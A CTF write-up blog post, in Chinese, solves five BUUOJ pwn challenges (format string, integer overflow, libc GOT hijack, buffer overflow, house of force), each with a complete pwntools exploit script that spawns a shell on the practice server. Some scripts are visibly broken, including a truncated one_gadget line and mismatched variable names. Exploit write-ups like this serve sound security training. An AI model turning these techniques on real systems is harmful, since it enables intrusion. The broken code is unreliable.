buuoj Pwn writeup 151-155

博客内容涉及多个CTF挑战的解决方案,包括利用未开启RELRO的.fini_array覆盖函数调用,栈上的格式化字符串漏洞,通过整数溢出控制程序流程,以及利用libc的延迟绑定机制和堆管理漏洞进行got表劫持以获取shell。还提到了两种不同的利用思路,一是修改top_chunk的size位,二是通过mmap泄露libc地址并进行堆利用。
摘要由CSDN通过智能技术生成

151 ciscn_2019_sw_1

在这里插入图片描述保护
要注意到的是RELRO一点没开,这意味着.fini_array是可以覆盖的。
在这里插入图片描述栈上的格式化字符串。

在这里插入图片描述
system也有了。

printf只能用一次,但是我们前面说.fini_array可以覆盖,所以我们第一次先覆盖它为main,制造循环,然后劫持scanf的got表,进行利用就好。

要注意的是在我们覆盖.fini_array的意思是在返回的时候以此调用里面的函数,而这个题.fini_array数组只有一个数组,所以我们只能通过它来返回一次main函数,所以我们一共有两次printf的机会,所以要在第一次的时候就都改好。

还要注意的是当我们使用pwntools的模板的时候要注意,我们正常的使用方法会让我们的payload太长,所以我们有两种方法解决这个事情,第一个是后面加
write_size=‘int’ ,第二种就是自己去算去写。

exp

from pwn import *

context.log_level = "debug"

#r = process("./151")
r = remote('node3.buuoj.cn',27979)
elf = ELF('151')

main_addr = elf.sym['main']
fini_addr = 0x804979c
printf_got = elf.got['printf']
system_addr = elf.plt['system']

sys_high = (system_addr >> 16) & 0xffff
sys_low = (system_addr) & 0xffff
main_low = (main_addr) & 0xffff

print hex(sys_high)
print hex(sys_low)
print hex(main_low)

payload = "%" + str(sys_high) + "c%13$hn"
payload += "%" + str(sys_low - sys_high) + "c%14$hn"
payload += "%" + str(main_low - sys_low) +"c%15$hn"
payload += p32(printf_got + 2) + p32(printf_got) + p32(fini_addr)
r.sendlineafter("Welcome to my ctf! What's your name?", payload)

r.sendlineafter("Welcome to my ctf! What's your name?", "/bin/sh\x00")

r.interactive()

152 hgame2018_flag_server

在这里插入图片描述
在这里插入图片描述目标是让v10有东西,于是就开始找溢出点。

在这里插入图片描述
最后找到了整数溢出。

from pwn import *

context.log_level = "debug"

r = remote("node3.buuoj.cn",26497)

r.sendlineafter('your username length: ','-1')
payload = 'a' * 65

r.sendlineafter('whats your username?\n',payload)
r.interactive()

153 hfctf_2020_marksman

在这里插入图片描述
在这里插入图片描述
分析程序 开场直接给了puts函数地址,我们直接能得到libc地址。
然后程序允许我们开三枪,也就是找个地方改三个字节。

因为我们可以得到libc的地址,所以我们的思路是通过劫持libc内的got表,来get shell。
libc内部也有延迟绑定机制,我们考虑puts函数,puts函数内部会电泳strlen函数,所以我们劫持libc内的strlen的got表,但是打不通,因为one_gadget的条件我们一个满足不了。

在这里插入图片描述

于是我们看向另外一个函数,dl_open,里面有调用libc函数的地方,就是这个_dl_catch_error,于是我们劫持他的got表,便可以getshell。
在这里插入图片描述
但是这个题远程环境有问题,本地过了远程过不了……

from pwn import *

context.log_level='debug'

r = remote("node3.buuoj.cn",28549)
#p = process("./153")
libc=ELF('./64/libc-2.27.so')

r.recvuntil('0x')
puts_addr=int(r.recvuntil('\n',drop=True),16)
success('puts addr: '+hex(puts_addr))

libc_base=puts_addr-libc.sym['puts']
print hex(libc_base)
one=[0x4f2c5,0x4f322,0xe569f,0xe5858,0xe585f,0xe5863,0x10a38c,0x10a398]
one_gadget=one[2]+libc_base

target=libc_base+0x5f6038

shoot=one_gadget&0xffffff
r.sendlineafter('shoot!shoot!\n',str(target))
r.sendlineafter('biang!\n',p8(shoot&0xff))
r.sendlineafter('biang!\n',p8((shoot>>8)&0xff))
r.sendlineafter('biang!\n',p8((shoot>>16)&0xff))

r.sendline("cat flag")
r.interactive(

154 gwctf_2019_easy_pwn

在这里插入图片描述
C++写的一个程序,在往s中read的时候大小没有问题,但是程序在下面会将字符"I"替换成"pretty",最后会strcpy然后发生了溢出,没有PIE和canary直接利用即可。

在这里插入图片描述

from pwn import *

r = remote('node3.buuoj.cn','29825')

elf = ELF("./154")
libc = ELF("./32/libc-2.23.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = elf.sym['main']
payload l = 'I' * 16 + p32(puts_plt) + p32(main) + p32(puts_got)
r.send(payload)
r.recvuntil('pretty'*16)
r.recv(12)
puts_add=u32(r.recv(4))
libc_base = puts_addr - libc.sym['puts']
one_gadget = libc_base + 

payload='I'*16 + p32(one_gadget)
r.send(payload)

r.interactive()

155 bctf2016_bcloud

在这里插入图片描述pie没有 要注意RELRO也没都开,有劫持got表的机会。

漏洞点在于最开始的地方,输入name的时候,由于malloc是在输入之后,因此,v2处s的‘\x0’截断字符会被覆盖为堆指针,从而strcpy的时候把堆指针的值也复制进去,造成了堆地址泄露。

另一个漏洞也在那里,可以造成top chunk的size被修改为v3的值。

剩下的地方没有漏洞,我也就没有贴出来。
所以我们会发现有两个漏洞点,第一个我们可以修改top_chunk的size位,第二个我们申请道德chunk大小随便,所以就直接想到的是house of force。

我们下面利用方法是采取的大佬的利用思路,修改top_chunk的size位之后因为没有开pie,所以我们可以直接top_chunk拉到bss上面,然后做到一个unlink的一个操作。

from pwn import *
 
r = remote('node3.buuoj.cn',27139)
elf = ELF('./155')
libc = ELF("./32/libc-2.23.so")

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']

heap_array_addr = 0x0804B120
r.sendafter('Input your name:','a'*0x40)
r.recvuntil('a'*0x40)
heap_addr = u32(r.recv(4))

r.sendafter('Org:','a'*0x40)

r.sendlineafter('Host:',p32(0xFFFFFFFF))
top_chunk_addr = heap_addr + 0xD0
 
def add(size,content):
   r.sendlineafter('option--->>','1')
   r.sendlineafter('Input the length of the note content:',str(size))
   r.sendafter('Input the content:',content)
 
def edit(index,content):
   r.sendlineafter('option--->>','3')
   r.sendlineafter('Input the id:',str(index))
   r.sendafter('Input the new content:',content)
 
def delete(index):
   r.sendlineafter('option--->>','4')
   r.sendlineafter('Input the id:',str(index))
   
offset = heap_array_addr - top_chunk_addr - 0x10
add(offset,'') #0
add(0x18,'\n') #1

edit(1,p32(0) + p32(free_got) + p32(puts_got) + p32(0x0804B130) + '/bin/sh\x00')
edit(1,p32(puts_plt) + '\n')
delete(2)
r.recv(1)
puts_addr = u32(r.recv(4))

libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']

edit(1,p32(system_addr) + '\n')

delete(3)
 
r.interactive()

我们也可以用另外一种更加普遍的方式,在我们的另外一道题gyctf_2020_force中,开启了pie,我们的利用方式是先通过mmap的机制泄露libc地址,即我们先申请一个非常大的chunk,系统会调用mmap申请一个libc之下的chunk,然后获得chunk地址,通过一定差值,获取libc地址。然后把top_chunk拉到malloc_hook处,然后直接进行利用就可以了。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值